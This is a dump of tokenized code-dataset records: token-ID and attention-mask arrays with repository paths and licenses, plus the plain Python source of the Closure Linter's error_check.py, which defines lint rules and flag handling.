32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 199, 3946, 3304, 5331, 367, 675, 701, 17724, 15913, 14, 199, 199, 6586, 440, 2387, 1263, 2879, 3304, 12, 506, 3238, 370, 1104, 2879, 2544, 6358, 14, 199, 199, 2566, 3506, 7604, 17724, 436, 12622, 3285, 272, 325, 14, 71, 14, 1077, 3520, 506, 3962, 31, 267, 469, 14891, 26, 2549, 12, 12622, 26, 3055, 93, 267, 469, 14891, 26, 2549, 12, 12622, 26, 2549, 93, 199, 624, 199, 199, 646, 2050, 199, 504, 1639, 63, 3349, 63, 2330, 14, 992, 492, 18033, 199, 199, 504, 6474, 14, 8050, 492, 334, 272, 5531, 21732, 22403, 7422, 12, 272, 5531, 30742, 7422, 12, 272, 5531, 35, 11859, 967, 1225, 7422, 12, 272, 5531, 18963, 7422, 12, 199, 9, 199, 199, 504, 17724, 14, 12214, 492, 334, 272, 26361, 63, 2123, 12, 272, 664, 63, 2123, 63, 1162, 12, 199, 9, 199, 199, 793, 275, 2050, 14, 5572, 3460, 354, 3368, 199, 199, 6245, 654, 275, 469, 272, 283, 5683, 356, 5531, 21732, 22403, 7422, 12, 272, 283, 14891, 356, 5531, 30742, 7422, 12, 272, 283, 7018, 356, 5531, 18963, 7422, 12, 272, 283, 19541, 63, 331, 1225, 356, 5531, 35, 11859, 967, 1225, 7422, 12, 199, 93, 421, 199, 318, 769, 63, 1045, 63, 1896, 8, 1972, 12, 2166, 304, 272, 408, 272, 3820, 4390, 3963, 1172, 283, 1896, 7, 2879, 14, 339, 658, 1896, 64, 365, 315, 788, 14891, 297, 283, 7018, 297, 283, 5683, 418, 367, 4465, 13588, 14, 272, 6006, 4293, 506, 1163, 11106, 2488, 370, 314, 2518, 14, 272, 982, 2337, 365, 949, 5611, 367, 626, 2518, 13, 1896, 12, 2529, 376, 2701, 769, 272, 408, 272, 372, 820, 2228, 654, 59, 1896, 8738, 1972, 14, 344, 680, 3707, 63, 1045, 63, 3756, 342, 421, 199, 318, 2040, 63, 2732, 8, 1972, 12, 922, 12, 2166, 304, 272, 408, 272, 9812, 922, 2879, 370, 2518, 7100, 14, 339, 658, 1896, 64, 365, 1373, 402, 788, 14891, 297, 283, 7018, 297, 283, 5683, 418, 272, 408, 272, 485, 1461, 63, 2732, 8, 1972, 12, 922, 12, 2166, 12, 283, 3306, 358, 421, 199, 318, 31849, 63, 2732, 8, 1972, 12, 922, 12, 2166, 304, 272, 408, 272, 799, 6720, 2879, 687, 922, 370, 2518, 7100, 14, 339, 658, 1896, 64, 365, 1373, 402, 788, 14891, 297, 283, 7018, 297, 283, 5683, 418, 272, 408, 272, 485, 1461, 63, 2732, 8, 1972, 12, 922, 12, 2166, 12, 283, 24445, 358, 421, 199, 318, 485, 1461, 63, 2732, 8, 1972, 12, 922, 12, 2166, 12, 1595, 304, 272, 408, 272, 7743, 2879, 402, 922, 14, 339, 658, 1896, 64, 365, 1373, 402, 788, 14891, 297, 283, 7018, 297, 283, 5683, 418, 272, 1595, 365, 1373, 402, 788, 3306, 297, 283, 24445, 418, 339, 6944, 26, 911, 1218, 282, 1572, 340, 652, 1630, 440, 5966, 2187, 14, 272, 408, 339, 862, 26, 267, 4719, 275, 820, 2228, 654, 59, 1896, 8738, 1972, 14, 344, 9, 272, 871, 4067, 26, 267, 746, 1722, 480, 324, 13221, 2166, 19574, 1674, 908, 8, 1896, 430, 339, 340, 1595, 508, 283, 3306, 356, 267, 340, 2166, 508, 283, 19541, 63, 331, 1225, 356, 288, 3031, 63, 1162, 275, 664, 63, 2123, 63, 1162, 8, 1972, 12, 715, 9, 288, 26361, 63, 2123, 8, 355, 2518, 63, 344, 29, 1972, 14, 344, 12, 355, 6474, 63, 2123, 29, 751, 14, 2123, 12, 355, 2599, 63, 14695, 29, 549, 12, 355, 3031, 63, 17921, 29, 549, 12, 355, 3031, 63, 1162, 29, 2123, 63, 1162, 12, 288, 776, 267, 4719, 14, 525, 63, 3707, 8, 751, 9, 272, 916, 1595, 508, 283, 24445, 356, 267, 4719, 14, 2168, 63, 3707, 8, 751, 9, 272, 587, 26, 267, 746, 1722, 480, 324, 13221, 1595, 19574, 1674, 908, 8, 1287, 430, 421, 199, 318, 1678, 63, 10044, 63, 3756, 8, 1972, 63, 344, 12, 922, 12, 4719, 354, 12, 1595, 304, 272, 408, 272, 7743, 21575, 2879, 402, 922, 14, 339, 658, 3756, 354, 64, 365, 1373, 402, 359, 2707, 2639, 63, 15468, 63, 14288, 21340, 6467, 12, 2381, 2639, 63, 15468, 63, 8816, 540, 6467, 12, 2381, 2639, 63, 15468, 63, 5378, 1734, 1922, 63, 6166, 61, 272, 658, 1287, 64, 365, 1373, 402, 788, 3306, 297, 283, 24445, 418, 339, 340, 658, 1287, 64, 365, 4875, 12, 6534, 1722, 272, 340, 658, 3756, 354, 64, 1630, 440, 2187, 12, 6534, 18033, 14, 7400, 272, 408, 272, 4719, 275, 18033, 14, 1462, 14, 362, 8, 1972, 63, 344, 29, 1972, 63, 344, 12, 536, 29, 3756, 354, 9, 339, 340, 1595, 508, 283, 3306, 356, 267, 4719, 14, 3707, 14, 525, 8, 751, 9, 272, 916, 1595, 508, 283, 24445, 356, 267, 4719, 14, 3707, 14, 2168, 8, 751, 9, 272, 587, 26, 267, 746, 1722, 480, 324, 13221, 1595, 19574, 1674, 908, 8, 1287, 430, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 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 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
espadrine/opera
chromium/src/third_party/closure_linter/closure_linter/error_check.py
137
3620
#!/usr/bin/env python # # Copyright 2011 The Closure Linter Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS-IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """Specific JSLint errors checker.""" import gflags as flags FLAGS = flags.FLAGS class Rule(object): """Different rules to check.""" # Documentations for specific rules goes in flag definition. BLANK_LINES_AT_TOP_LEVEL = 'blank_lines_at_top_level' INDENTATION = 'indentation' WELL_FORMED_AUTHOR = 'well_formed_author' NO_BRACES_AROUND_INHERIT_DOC = 'no_braces_around_inherit_doc' BRACES_AROUND_TYPE = 'braces_around_type' OPTIONAL_TYPE_MARKER = 'optional_type_marker' UNUSED_PRIVATE_MEMBERS = 'unused_private_members' # Rule to raise all known errors. ALL = 'all' # All rules that are to be checked when using the strict flag. E.g. the rules # that are specific to the stricter Closure style. CLOSURE_RULES = frozenset([BLANK_LINES_AT_TOP_LEVEL, INDENTATION, WELL_FORMED_AUTHOR, NO_BRACES_AROUND_INHERIT_DOC, BRACES_AROUND_TYPE, OPTIONAL_TYPE_MARKER]) flags.DEFINE_boolean('strict', False, 'Whether to validate against the stricter Closure style. ' 'This includes ' + (', '.join(Rule.CLOSURE_RULES)) + '.') flags.DEFINE_multistring('jslint_error', [], 'List of specific lint errors to check. Here is a list' ' of accepted values:\n' ' - ' + Rule.ALL + ': enables all following errors.\n' ' - ' + Rule.BLANK_LINES_AT_TOP_LEVEL + ': validates' 'number of blank lines between blocks at top level.\n' ' - ' + Rule.INDENTATION + ': checks correct ' 'indentation of code.\n' ' - ' + Rule.WELL_FORMED_AUTHOR + ': validates the ' '@author JsDoc tags.\n' ' - ' + Rule.NO_BRACES_AROUND_INHERIT_DOC + ': ' 'forbids braces around @inheritdoc JsDoc tags.\n' ' - ' + Rule.BRACES_AROUND_TYPE + ': enforces braces ' 'around types in JsDoc tags.\n' ' - ' + Rule.OPTIONAL_TYPE_MARKER + ': checks correct ' 'use of optional marker = in param types.\n' ' - ' + Rule.UNUSED_PRIVATE_MEMBERS + ': checks for ' 'unused private variables.\n') def ShouldCheck(rule): """Returns whether the optional rule should be checked. Computes different flags (strict, jslint_error, jslint_noerror) to find out if this specific rule should be checked. Args: rule: Name of the rule (see Rule). Returns: True if the rule should be checked according to the flags, otherwise False. """ if rule in FLAGS.jslint_error or Rule.ALL in FLAGS.jslint_error: return True # Checks strict rules. return FLAGS.strict and rule in Rule.CLOSURE_RULES
bsd-3-clause
[ 3381, 2647, 15, 1393, 15, 1813, 2366, 199, 3, 199, 3, 1898, 7760, 710, 5980, 3253, 491, 1058, 6642, 14, 2900, 5924, 5702, 14, 199, 3, 199, 3, 3909, 1334, 314, 3668, 844, 12, 3394, 499, 14, 16, 334, 1589, 298, 3761, 3547, 199, 3, 1265, 1443, 440, 675, 642, 570, 871, 315, 4151, 543, 314, 844, 14, 199, 3, 2047, 1443, 3332, 282, 1331, 402, 314, 844, 737, 199, 3, 199, 3, 420, 1455, 921, 1544, 14, 3796, 14, 1308, 15, 2383, 15, 3961, 13, 18, 14, 16, 199, 3, 199, 3, 4158, 1415, 701, 3964, 4179, 503, 4193, 370, 315, 3575, 12, 2032, 199, 3, 1854, 1334, 314, 844, 365, 1854, 641, 376, 298, 1179, 13, 1311, 2, 4207, 12, 199, 3, 2428, 2990, 1549, 4217, 1634, 1821, 3826, 12, 1902, 4056, 503, 2478, 14, 199, 3, 1666, 314, 844, 367, 314, 2488, 2637, 4210, 3443, 436, 199, 3, 4204, 1334, 314, 844, 14, 421, 199, 624, 16786, 1603, 4929, 442, 2552, 7739, 1041, 4388, 199, 646, 486, 2469, 465, 3285, 199, 199, 4831, 275, 3285, 14, 4831, 421, 199, 533, 11949, 8, 785, 304, 523, 408, 31409, 4713, 370, 1104, 1041, 819, 327, 7543, 1298, 367, 2488, 4713, 13538, 315, 3305, 5492, 14, 523, 699, 10825, 43, 63, 23023, 63, 619, 63, 11422, 63, 11817, 275, 283, 2500, 63, 1278, 63, 292, 63, 2119, 63, 1896, 7, 523, 23632, 1309, 2594, 275, 283, 25152, 7, 523, 644, 14952, 63, 3516, 1149, 63, 27938, 275, 283, 20501, 63, 6194, 63, 2502, 7, 523, 4825, 63, 7184, 21287, 63, 689, 47, 6131, 63, 568, 3452, 649, 63, 16618, 275, 283, 889, 63, 7828, 823, 63, 11659, 63, 6486, 63, 1301, 7, 523, 11713, 21287, 63, 689, 47, 6131, 63, 2711, 275, 283, 7828, 823, 63, 11659, 63, 466, 7, 523, 30953, 63, 2711, 63, 18997, 275, 283, 4144, 63, 466, 63, 4211, 7, 523, 738, 27726, 63, 18748, 63, 10293, 34, 3960, 275, 283, 8618, 63, 4239, 63, 6334, 7, 819, 327, 11949, 370, 746, 1006, 6040, 2552, 14, 523, 11727, 275, 283, 452, 7, 819, 327, 2900, 4713, 626, 787, 370, 506, 7923, 1380, 1808, 314, 7478, 3305, 14, 662, 14, 71, 14, 314, 4713, 523, 327, 626, 787, 2488, 370, 314, 410, 1567, 351, 5980, 3253, 3449, 14, 523, 445, 1484, 51, 3942, 63, 31490, 275, 9522, 779, 20438, 63, 23023, 63, 619, 63, 11422, 63, 11817, 12, 2490, 23632, 1309, 2594, 12, 2490, 644, 14952, 63, 3516, 1149, 63, 27938, 12, 2490, 4825, 63, 7184, 21287, 63, 689, 47, 6131, 63, 568, 3452, 649, 63, 16618, 12, 2490, 11713, 21287, 63, 689, 47, 6131, 63, 2711, 12, 2490, 30953, 63, 2711, 63, 18997, 566, 421, 199, 2469, 14, 14603, 63, 4871, 360, 4768, 297, 756, 12, 2151, 283, 26625, 370, 4107, 6169, 314, 410, 1567, 351, 5980, 3253, 3449, 14, 283, 2151, 283, 2765, 6952, 283, 435, 334, 297, 1987, 904, 8, 5065, 14, 10353, 51, 3942, 63, 31490, 430, 435, 20093, 199, 2469, 14, 14603, 63, 3029, 875, 360, 74, 2482, 442, 63, 705, 297, 990, 586, 283, 1296, 402, 2488, 24620, 2552, 370, 1104, 14, 11842, 365, 282, 769, 7, 586, 283, 402, 10226, 1338, 3427, 78, 7, 586, 283, 446, 283, 435, 11949, 14, 1761, 435, 7596, 22741, 1006, 2569, 2552, 3134, 78, 7, 586, 283, 446, 283, 435, 11949, 14, 20438, 63, 23023, 63, 619, 63, 11422, 63, 11817, 435, 7596, 29280, 7, 586, 283, 1955, 402, 4596, 2385, 3382, 5664, 737, 2746, 2166, 3134, 78, 7, 586, 283, 446, 283, 435, 11949, 14, 29080, 2594, 435, 7596, 5920, 3211, 283, 586, 283, 25152, 402, 1233, 3134, 78, 7, 586, 283, 446, 283, 435, 11949, 14, 55, 14952, 63, 3516, 1149, 63, 27938, 435, 7596, 29280, 314, 283, 586, 10267, 2502, 26231, 3768, 3762, 3134, 78, 7, 586, 283, 446, 283, 435, 11949, 14, 2826, 63, 7184, 21287, 63, 689, 47, 6131, 63, 568, 3452, 649, 63, 16618, 435, 7596, 283, 586, 283, 509, 66, 1580, 27158, 6818, 768, 6486, 1301, 26231, 3768, 3762, 3134, 78, 7, 586, 283, 446, 283, 435, 11949, 14, 7184, 21287, 63, 689, 47, 6131, 63, 2711, 435, 7596, 655, 509, 823, 27158, 283, 586, 283, 11659, 2943, 315, 26231, 3768, 3762, 3134, 78, 7, 586, 283, 446, 283, 435, 11949, 14, 21008, 63, 2711, 63, 18997, 435, 7596, 5920, 3211, 283, 586, 283, 1180, 402, 2716, 3608, 275, 315, 1215, 2943, 3134, 78, 7, 586, 283, 446, 283, 435, 11949, 14, 53, 27726, 63, 18748, 63, 10293, 34, 3960, 435, 7596, 5920, 367, 283, 586, 283, 8618, 5726, 2860, 3134, 78, 358, 421, 199, 318, 7719, 1799, 8, 2200, 304, 523, 408, 3407, 3775, 314, 2716, 2332, 1077, 506, 7923, 14, 819, 28040, 3365, 3285, 334, 4768, 12, 1335, 2482, 442, 63, 705, 12, 1335, 2482, 442, 63, 889, 705, 9, 370, 2342, 734, 340, 523, 642, 2488, 2332, 1077, 506, 7923, 14, 819, 3033, 26, 272, 2332, 26, 2812, 402, 314, 2332, 334, 3239, 11949, 680, 819, 1803, 26, 272, 715, 340, 314, 2332, 1077, 506, 7923, 7182, 370, 314, 3285, 12, 4257, 756, 14, 523, 408, 523, 340, 2332, 315, 12846, 14, 74, 2482, 442, 63, 705, 503, 11949, 14, 1761, 315, 12846, 14, 74, 2482, 442, 63, 705, 26, 272, 372, 715, 523, 327, 13813, 7478, 4713, 14, 523, 372, 12846, 14, 4768, 436, 2332, 315, 11949, 14, 10353, 51, 3942, 63, 31490, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 2647, 15, 1393, 15, 1813, 2366, 199, 3, 199, 3, 1898, 7760, 710, 5980, 3253, 491, 1058, 6642, 14, 2900, 5924, 5702, 14, 199, 3, 199, 3, 3909, 1334, 314, 3668, 844, 12, 3394, 499, 14, 16, 334, 1589, 298, 3761, 3547, 199, 3, 1265, 1443, 440, 675, 642, 570, 871, 315, 4151, 543, 314, 844, 14, 199, 3, 2047, 1443, 3332, 282, 1331, 402, 314, 844, 737, 199, 3, 199, 3, 420, 1455, 921, 1544, 14, 3796, 14, 1308, 15, 2383, 15, 3961, 13, 18, 14, 16, 199, 3, 199, 3, 4158, 1415, 701, 3964, 4179, 503, 4193, 370, 315, 3575, 12, 2032, 199, 3, 1854, 1334, 314, 844, 365, 1854, 641, 376, 298, 1179, 13, 1311, 2, 4207, 12, 199, 3, 2428, 2990, 1549, 4217, 1634, 1821, 3826, 12, 1902, 4056, 503, 2478, 14, 199, 3, 1666, 314, 844, 367, 314, 2488, 2637, 4210, 3443, 436, 199, 3, 4204, 1334, 314, 844, 14, 421, 199, 624, 16786, 1603, 4929, 442, 2552, 7739, 1041, 4388, 199, 646, 486, 2469, 465, 3285, 199, 199, 4831, 275, 3285, 14, 4831, 421, 199, 533, 11949, 8, 785, 304, 523, 408, 31409, 4713, 370, 1104, 1041, 819, 327, 7543, 1298, 367, 2488, 4713, 13538, 315, 3305, 5492, 14, 523, 699, 10825, 43, 63, 23023, 63, 619, 63, 11422, 63, 11817, 275, 283, 2500, 63, 1278, 63, 292, 63, 2119, 63, 1896, 7, 523, 23632, 1309, 2594, 275, 283, 25152, 7, 523, 644, 14952, 63, 3516, 1149, 63, 27938, 275, 283, 20501, 63, 6194, 63, 2502, 7, 523, 4825, 63, 7184, 21287, 63, 689, 47, 6131, 63, 568, 3452, 649, 63, 16618, 275, 283, 889, 63, 7828, 823, 63, 11659, 63, 6486, 63, 1301, 7, 523, 11713, 21287, 63, 689, 47, 6131, 63, 2711, 275, 283, 7828, 823, 63, 11659, 63, 466, 7, 523, 30953, 63, 2711, 63, 18997, 275, 283, 4144, 63, 466, 63, 4211, 7, 523, 738, 27726, 63, 18748, 63, 10293, 34, 3960, 275, 283, 8618, 63, 4239, 63, 6334, 7, 819, 327, 11949, 370, 746, 1006, 6040, 2552, 14, 523, 11727, 275, 283, 452, 7, 819, 327, 2900, 4713, 626, 787, 370, 506, 7923, 1380, 1808, 314, 7478, 3305, 14, 662, 14, 71, 14, 314, 4713, 523, 327, 626, 787, 2488, 370, 314, 410, 1567, 351, 5980, 3253, 3449, 14, 523, 445, 1484, 51, 3942, 63, 31490, 275, 9522, 779, 20438, 63, 23023, 63, 619, 63, 11422, 63, 11817, 12, 2490, 23632, 1309, 2594, 12, 2490, 644, 14952, 63, 3516, 1149, 63, 27938, 12, 2490, 4825, 63, 7184, 21287, 63, 689, 47, 6131, 63, 568, 3452, 649, 63, 16618, 12, 2490, 11713, 21287, 63, 689, 47, 6131, 63, 2711, 12, 2490, 30953, 63, 2711, 63, 18997, 566, 421, 199, 2469, 14, 14603, 63, 4871, 360, 4768, 297, 756, 12, 2151, 283, 26625, 370, 4107, 6169, 314, 410, 1567, 351, 5980, 3253, 3449, 14, 283, 2151, 283, 2765, 6952, 283, 435, 334, 297, 1987, 904, 8, 5065, 14, 10353, 51, 3942, 63, 31490, 430, 435, 20093, 199, 2469, 14, 14603, 63, 3029, 875, 360, 74, 2482, 442, 63, 705, 297, 990, 586, 283, 1296, 402, 2488, 24620, 2552, 370, 1104, 14, 11842, 365, 282, 769, 7, 586, 283, 402, 10226, 1338, 3427, 78, 7, 586, 283, 446, 283, 435, 11949, 14, 1761, 435, 7596, 22741, 1006, 2569, 2552, 3134, 78, 7, 586, 283, 446, 283, 435, 11949, 14, 20438, 63, 23023, 63, 619, 63, 11422, 63, 11817, 435, 7596, 29280, 7, 586, 283, 1955, 402, 4596, 2385, 3382, 5664, 737, 2746, 2166, 3134, 78, 7, 586, 283, 446, 283, 435, 11949, 14, 29080, 2594, 435, 7596, 5920, 3211, 283, 586, 283, 25152, 402, 1233, 3134, 78, 7, 586, 283, 446, 283, 435, 11949, 14, 55, 14952, 63, 3516, 1149, 63, 27938, 435, 7596, 29280, 314, 283, 586, 10267, 2502, 26231, 3768, 3762, 3134, 78, 7, 586, 283, 446, 283, 435, 11949, 14, 2826, 63, 7184, 21287, 63, 689, 47, 6131, 63, 568, 3452, 649, 63, 16618, 435, 7596, 283, 586, 283, 509, 66, 1580, 27158, 6818, 768, 6486, 1301, 26231, 3768, 3762, 3134, 78, 7, 586, 283, 446, 283, 435, 11949, 14, 7184, 21287, 63, 689, 47, 6131, 63, 2711, 435, 7596, 655, 509, 823, 27158, 283, 586, 283, 11659, 2943, 315, 26231, 3768, 3762, 3134, 78, 7, 586, 283, 446, 283, 435, 11949, 14, 21008, 63, 2711, 63, 18997, 435, 7596, 5920, 3211, 283, 586, 283, 1180, 402, 2716, 3608, 275, 315, 1215, 2943, 3134, 78, 7, 586, 283, 446, 283, 435, 11949, 14, 53, 27726, 63, 18748, 63, 10293, 34, 3960, 435, 7596, 5920, 367, 283, 586, 283, 8618, 5726, 2860, 3134, 78, 358, 421, 199, 318, 7719, 1799, 8, 2200, 304, 523, 408, 3407, 3775, 314, 2716, 2332, 1077, 506, 7923, 14, 819, 28040, 3365, 3285, 334, 4768, 12, 1335, 2482, 442, 63, 705, 12, 1335, 2482, 442, 63, 889, 705, 9, 370, 2342, 734, 340, 523, 642, 2488, 2332, 1077, 506, 7923, 14, 819, 3033, 26, 272, 2332, 26, 2812, 402, 314, 2332, 334, 3239, 11949, 680, 819, 1803, 26, 272, 715, 340, 314, 2332, 1077, 506, 7923, 7182, 370, 314, 3285, 12, 4257, 756, 14, 523, 408, 523, 340, 2332, 315, 12846, 14, 74, 2482, 442, 63, 705, 503, 11949, 14, 1761, 315, 12846, 14, 74, 2482, 442, 63, 705, 26, 272, 372, 715, 523, 327, 13813, 7478, 4713, 14, 523, 372, 12846, 14, 4768, 436, 2332, 315, 11949, 14, 10353, 51, 3942, 63, 31490, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1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1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
ololobster/cvidone
localization/make_l10n.py
1
2994
